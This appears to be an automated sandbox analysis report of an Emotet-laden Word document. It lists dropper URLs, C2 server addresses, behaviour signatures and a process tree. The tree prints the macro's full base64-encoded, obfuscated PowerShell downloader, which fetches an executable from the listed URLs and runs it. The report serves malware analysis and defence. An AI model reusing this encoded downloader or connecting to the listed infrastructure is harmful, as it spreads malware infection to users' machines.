Analysis

  • max time kernel
    136s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    21/10/2020, 18:17

General

  • Target
    emotet_e1_2776ddec53bb1fb2deabfd3bcf61453c5f4f74c077b563b634fe985b43751bef_2020-10-21__173319800371._doc.doc
  • Size 171KB
  • Sample201021-7pg8ba8ep6
  • SHA256 2776ddec53bb1fb2deabfd3bcf61453c5f4f74c077b563b634fe985b43751bef
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://michaelandrewsbakery.com/wp-admin/M/

  • exe.dropper

    http://forsalebyowner247.com/wp-includes/8m/

  • exe.dropper

    http://webgisjambi.com/wp-content/uploads/V5a/

  • exe.dropper

    https://tigerstormtraffic.com/wp-includes/h23/

  • exe.dropper

    https://optimisticdeals.com/wp-content/S/

  • exe.dropper

    http://twogirlscleaning.com/openbayl/KaI/

  • exe.dropper

    http://online2u.biz/ogretmenevi/4Yj/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 197.245.25.228:80

  • 98.103.204.12:443

  • 59.148.253.194:8080

  • 173.212.197.71:8080

  • 128.92.203.42:80

  • 46.43.2.95:8080

  • 188.157.101.114:80

  • 103.236.179.162:80

  • 104.131.41.185:8080

  • 177.23.7.151:80

  • 177.144.130.105:443

  • 188.135.15.49:80

  • 70.32.84.74:8080

  • 5.196.35.138:7080

  • 137.74.106.111:7080

  • 83.169.21.32:7080

  • 111.67.12.221:8080

  • 46.105.114.137:8080

  • 190.190.219.184:80

  • 45.46.37.97:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2776ddec53bb1fb2deabfd3bcf61453c5f4f74c077b563b634fe985b43751bef_2020-10-21__173319800371._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3856
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JAA1ADQAegAzADkAbQA9ACAAIABbAHQAWQBwAEUAXQAoACIAewAzAH0AewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBlAG0ALgBpAG8ALgBEAGkAcgBFACcALAAnAE8AcgBZACcALAAnAGMAVAAnACwAJwBTAFkAcwB0ACcAKQA7ACAAJABXADEATgBtADkAIAA9ACAAIABbAFQAWQBQAGUAXQAoACIAewAwAH0AewA0AH0AewAxAH0AewA1AH0AewAyAH0AewAzAH0AewA2AH0AIgAgAC0AZgAgACcAUwBZACcALAAnAEUAUgBWAGkAYwAnACwAJwBpACcALAAnAG4AVABtAEEAJwAsACcAcwBUAGUATQAuAG4ARQB0AC4AcwAnACwAJwBlAHAATwAnACwAJwBOAGEARwBlAHIAJwApACAAOwAgACAAJABKAHUAaQByADgAawBoAD0AKAAoACcATQAnACsAJwByADEAJwApACsAKAAnAHkAJwArACcAaAAzACcAKQArACcAeQAnACkAOwAkAEoANwBkAGsANwA5AGoAPQAkAEYAOAB4ADkAMgA5AGoAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFgAZgBqAHEAMgBpAHIAOwAkAEgAbQA5AGwAegA0ADgAPQAoACgAJwBUACcAKwAnAGYAMwAxAHEAJwArACcAdAAnACkAKwAnAGIAJwApADsAIAAoACAAIABnAGUAVAAtAHYAYQBSAEkAYQBiAEwAZQAgACAAKAAiADUANAAiACsAIgBaADMAOQBNACIAKQApAC4AdgBBAEwAVQBlADoAOgAiAEMAUgBgAGUAYABBAFQARQBgAEQAYABJAFIARQBDAHQAbwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwByACcAKwAoACcANwAnACsAJwBpAFcAJwApACsAKAAnADAAcQAnACsAJwBqAGgAZgBoACcAKQArACcAcgAnACsAJwA3AGkAJwArACcAQwAyACcAKwAnAHEANQAnACsAKAAnAG0AbQAnACsAJwB3AHIANwBpACcAKQApAC0AcgBFAFAATABBAGMARQAgACgAWwBDAEgAQQByAF0AMQAxADQAKwBbAEMASABBAHIAXQA1ADUAKwBbAEMASABBAHIAXQAxADAANQApACwAWwBDAEgAQQByAF0AOQAyACkAKQA7ACQAQgBuAHcAcQAxAHoAYQA9ACgAJwBIACcAKwAoACcAYQB1ADIAYQAnACsAJwAzACcAKQArACcAdAAnACkAOwAgACQAVwAxAG4AbQA5ADoAOgAiAHMAZQBDAFUAUgBgAGkAdABZAHAAYABSAG8AVABPAGMAYABvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAFoAMQBvADYANQBtAG8APQAoACgAJwBaACcAKwAnAGIAZwAnACkAKwAoACcAdgBmACcAKwAnAHUAJwApACsAJwAzACcAKQA7ACQAQQByADEAcwA3AGcAZwAgAD0AIAAoACcAQwAnACsAKAAnADkAbgBvAHgAYgAnACsAJwBrACcAKQApADsAJABJAHMAYgB6AGoAZgB2AD0AKAAoACcAUAB0ACcAKwAnADEAMgBlACcAKQArACcAZwAnACsAJwB0ACcAKQA7ACQAWgBoAHEAegBzAHAAawA9ACgAKAAnAEcAZwAnACsAJwB5ACcAKQArACgAJwBkAG8AJwArACcAZgAnACkAKwAnAHgAJwApADsAJABOAHUAbABjAHUAawBiAD0AJABIAE8ATQBFACsAKAAoACgAJwA4AFcAQgAnACsAJwBXADAAJwApACsAKAAnAHEAJwArACcAagBoACcAKwAnAGYAaAAnACsAJwA4AFcAQgBDACcAKwAnADIAcQA1AG0AbQB3ACcAKQArACcAOAAnACsAJwBXAEIAJwApACAALQByAEUAUABMAEEAQwBFACAAKAAnADgAJwArACcAVwBCACcAKQAsAFsAQwBIAEEAcgBdADkAMgApACsAJABBAHIAMQBzADcAZwBnACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQATAA0AHQAbQBsADEAZwA9ACgAJwBMACcAKwAoACcAZwBfACcAKwAnAHgANQBiAGoAJwApACkAOwAkAEMAdABtADAANQBzAGkAPQAuACgAJwBuAGUAdwAtAG8AYgBqAGUAJwArACcAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBlAEIAYwBsAGkARQBOAFQAOwAkAE4AZwBsAHIAbABiADYAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKwAnADoAPQBZADMAJwApACsAJwBuAGsAJwArACgAJwBPAHMAPQBZACcAKwAnADMAbgAnACkAKwAoACcAawBPAHMAJwArACcAbQBpACcAKwAnAGMAaABhAGUAbABhAG4AJwApACsAKAAnAGQAJwArACcAcgBlAHcAJwApACsAJwBzACcAKwAoACcAYgAnACsAJwBhAGsAZQByACcAKwAnAHkAJwApACsAJwAuAGMAJwArACgAJwBvAG0APQBZACcAKwAnADMAbgBrAE8AJwApACsAJwBzACcAKwAoACcAdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAD0AWQAzAG4AJwApACsAKAAnAGsATwBzACcAKwAnAE0AJwApACsAJwA9ACcAKwAoACcAWQAzACcAKwAnAG4AawBPACcAKQArACgAJwBzAEAAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAJwArACcAOgA9AFkAMwAnACsAJwBuAGsATwBzACcAKQArACcAPQAnACsAKAAnAFkAMwBuAGsAJwArACcATwAnACkAKwAnAHMAJwArACcAZgAnACsAKAAnAG8AcgAnACsAJwBzAGEAbABlACcAKwAnAGIAJwApACsAKAAnAHkAbwB3AG4AZQAnACsAJwByADIANAAnACsAJwA3ACcAKwAnAC4AYwBvAG0APQBZADMAbgAnACkAKwAoACcAawBPACcAKwAnAHMAdwBwACcAKwAnAC0AaQAnACkAKwAoACcAbgBjAGwAdQBkACcAKwAnAGUAJwArACcAcwA9AFkAJwApACsAKAAnADMAJwArACcAbgBrACcAKQArACcATwAnACsAKAAnAHMAJwArACcAOABtAD0AWQAnACkAKwAoACcAMwBuAGsATwBzAEAAaAB0AHQAJwArACcAcAAnACsAJwA6ACcAKQArACgAJwA9AFkAMwBuACcAKwAnAGsATwBzACcAKQArACgAJwA9AFkAMwAnACsAJwBuAGsATwBzACcAKwAnAHcAJwArACcAZQAnACkAKwAoACcAYgAnACsAJwBnAGkAcwBqAGEAJwArACcAbQBiAGkAJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAD0AWQAnACsAJwAzACcAKQArACcAbgBrACcAKwAoACcATwBzACcAKwAnAHcAJwApACsAKAAnAHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AD0AWQAzACcAKwAnAG4AawAnACkAKwAnAE8AJwArACgAJwBzAHUAJwArACcAcABsAG8AJwApACsAKAAnAGEAJwArACcAZABzAD0AJwArACcAWQAzAG4AJwApACsAJwBrACcAKwAnAE8AJwArACgAJwBzAFYANQBhACcAKwAnAD0AJwArACcAWQAnACkAKwAoACcAMwAnACsAJwBuAGsATwBzACcAKQArACgAJwBAAGgAdAB0AHAAJwArACcAcwAnACkAKwAnADoAJwArACcAPQBZACcAKwAoACcAMwBuACcAKwAnAGsAJwApACsAKAAnAE8AJwArACcAcwA9AFkAJwApACsAJwAzAG4AJwArACcAawBPACcAKwAnAHMAdAAnACsAKAAnAGkAZwBlAHIAJwArACcAcwB0AG8AcgBtAHQAcgAnACsAJwBhAGYAZgAnACsAJwBpACcAKwAnAGMAJwApACsAKAAnAC4AYwAnACsAJwBvAG0APQBZACcAKwAnADMAJwApACsAKAAnAG4AJwArACcAawBPACcAKQArACgAJwBzAHcAcAAnACsAJwAtACcAKQArACgAJwBpACcAKwAnAG4AYwAnACkAKwAoACcAbAAnACsAJwB1AGQAJwApACsAKAAnAGUAcwA9ACcAKwAnAFkAJwArACcAMwBuAGsAJwApACsAJwBPAHMAJwArACcAaAAnACsAKAAnADIAMwAnACsAJwA9ACcAKQArACgAJwBZADMAJwArACcAbgBrAE8AcwBAAGgAdAAnACsAJwB0AHAAJwApACsAJwBzADoAJwArACgAJwA9AFkAMwAnACsAJwBuAGsAJwApACsAKAAnAE8AJwArACcAcwA9ACcAKQArACgAJwBZADMAJwArACcAbgAnACkAKwAoACcAawBPAHMAbwAnACsAJwBwAHQAaQAnACsAJwBtACcAKQArACcAaQBzACcAKwAoACcAdABpACcAKwAnAGMAZAAnACkAKwAnAGUAYQAnACsAKAAnAGwAcwAnACsAJwAuAGMAJwApACsAKAAnAG8AbQAnACsAJwA9AFkAJwArACcAMwAnACsAJwBuAGsATwBzAHcAcAAnACkAKwAoACcALQBjAG8AbgB0AGUAbgAnACsAJwB0AD0AJwArACcAWQAnACsAJwAzACcAKQArACcAbgAnACsAKAAnAGsATwAnACsAJwBzACcAKQArACcAUwAnACsAKAAnAD0AWQAzAG4AJwArACcAawBPAHMAQAAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcAPQBZACcAKwAoACcAMwBuAGsAJwArACcATwAnACsAJwBzAD0AWQAnACkAKwAoACcAMwAnACsAJwBuAGsAJwApACsAJwBPACcAKwAnAHMAdAAnACsAJwB3AG8AJwArACcAZwBpACcAKwAoACcAcgAnACsAJwBsACcAKwAnAHMAYwBsAGUAYQAnACkAKwAnAG4AJwArACgAJwBpAG4AZwAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8AbQA9AFkAJwArACcAMwBuACcAKwAnAGsATwBzACcAKQArACgAJwBvACcAKwAnAHAAZQBuAGIAJwApACsAKAAnAGEAeQAnACsAJwBsACcAKQArACcAPQAnACsAJwBZADMAJwArACgAJwBuACcAKwAnAGsATwBzAEsAYQAnACsAJwBJAD0AWQAzACcAKwAnAG4AJwArACcAawBPACcAKQArACcAcwBAACcAKwAoACcAaAB0AHQAcAAnACsAJwA6AD0AJwArACcAWQAzAG4AJwArACcAawBPACcAKwAnAHMAPQBZADMAJwArACcAbgBrACcAKwAnAE8AcwBvACcAKwAnAG4AbABpAG4AZQAnACsAJwAyAHUAJwApACsAKAAnAC4AYgBpAHoAPQAnACsAJwBZACcAKwAnADMAJwArACcAbgBrACcAKwAnAE8AcwBvAGcAcgBlAHQAbQAnACsAJwBlACcAKQArACcAbgAnACsAKAAnAGUAJwArACcAdgBpACcAKQArACgAJwA9AFkAJwArACcAMwBuAGsAJwArACcATwBzACcAKQArACcANAAnACsAKAAnAFkAagAnACsAJwA9ACcAKQArACgAJwBZACcAKwAnADMAbgAnACkAKwAoACcAawBPACcAKwAnAHMAJwApACkALgAiAHIAZQBwAGAAbABBAEMARQAiACgAKAAoACcAPQBZACcAKwAnADMAbgBrACcAKQArACcATwBzACcAKQAsACcALwAnACkALgAiAHMAcABsAGAASQB0ACIAKAAkAEsAeABwAHEAdwB2AGQAIAArACAAJABKADcAZABrADcAOQBqACAAKwAgACQARgBrAHAAYwBzAHMAdwApADsAJABYADMAawBtAHkAaABwAD0AKAAoACcAQQB2AGoAJwArACcAbQAnACsAJwBxAHkAJwApACsAJwA4ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWQB0AGEAdwB2AGsAeQAgAGkAbgAgACQATgBnAGwAcgBsAGIANgApAHsAdAByAHkAewAkAEMAdABtADAANQBzAGkALgAiAGQAbwBXAE4AYABMAE8AYABBAEQAZgBpAEwARQAiACgAJABZAHQAYQB3AHYAawB5ACwAIAAkAE4AdQBsAGMAdQBrAGIAKQA7ACQAWAAyAHoAMwAxAGcAbQA9ACgAKAAnAFMAdwAnACsAJwBkACcAKQArACcAYQAnACsAKAAnAGsAJwArACcAZABuACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAE4AdQBsAGMAdQBrAGIAKQAuACIAbABFAGAATgBnAFQAaAAiACAALQBnAGUAIAA0ADgANwA1ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAJwArACcAbgAzACcAKwAnADIAJwArACgAJwBfAFAAcgBvAGMAJwArACcAZQAnACkAKwAnAHMAcwAnACkAKQAuACIAYwBSAEUAYQBgAFQAZQAiACgAJABOAHUAbABjAHUAawBiACkAOwAkAE4AMgBjADIAOABqAGgAPQAoACcARQBwACcAKwAnAGEAJwArACgAJwBtADIAcgAnACsAJwB2ACcAKQApADsAYgByAGUAYQBrADsAJABGAGYAMwA1ADYAMwAxAD0AKAAoACcATAB3AGIAZAAnACsAJwBvACcAKQArACcAMAAnACsAJwA5ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQAzADkAOQA2AHIAYQA9ACgAKAAnAE0AdAB0ADMAJwArACcAbQAnACkAKwAnAHQAJwArACcAXwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1848
  • C:\Users\Admin\W0qjhfh\C2q5mmw\C9noxbk.exe
    C:\Users\Admin\W0qjhfh\C2q5mmw\C9noxbk.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3960
    • C:\Windows\SysWOW64\SessEnv\SortWindows61.exe
      "C:\Windows\SysWOW64\SessEnv\SortWindows61.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:2180

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1848-6-0x00007FFD58BF0000-0x00007FFD595DC000-memory.dmp

        memory/1848-7-0x000002C430230000-0x000002C430231000-memory.dmp

        memory/1848-8-0x000002C430540000-0x000002C430541000-memory.dmp

        memory/2180-15-0x00000000020A0000-0x00000000020BF000-memory.dmp

        memory/2180-16-0x00000000020C0000-0x00000000020DE000-memory.dmp

        memory/3856-0-0x00007FFD5FF80000-0x00007FFD60646000-memory.dmp

        memory/3960-11-0x0000000002260000-0x000000000227F000-memory.dmp

        memory/3960-12-0x0000000002280000-0x000000000229E000-memory.dmp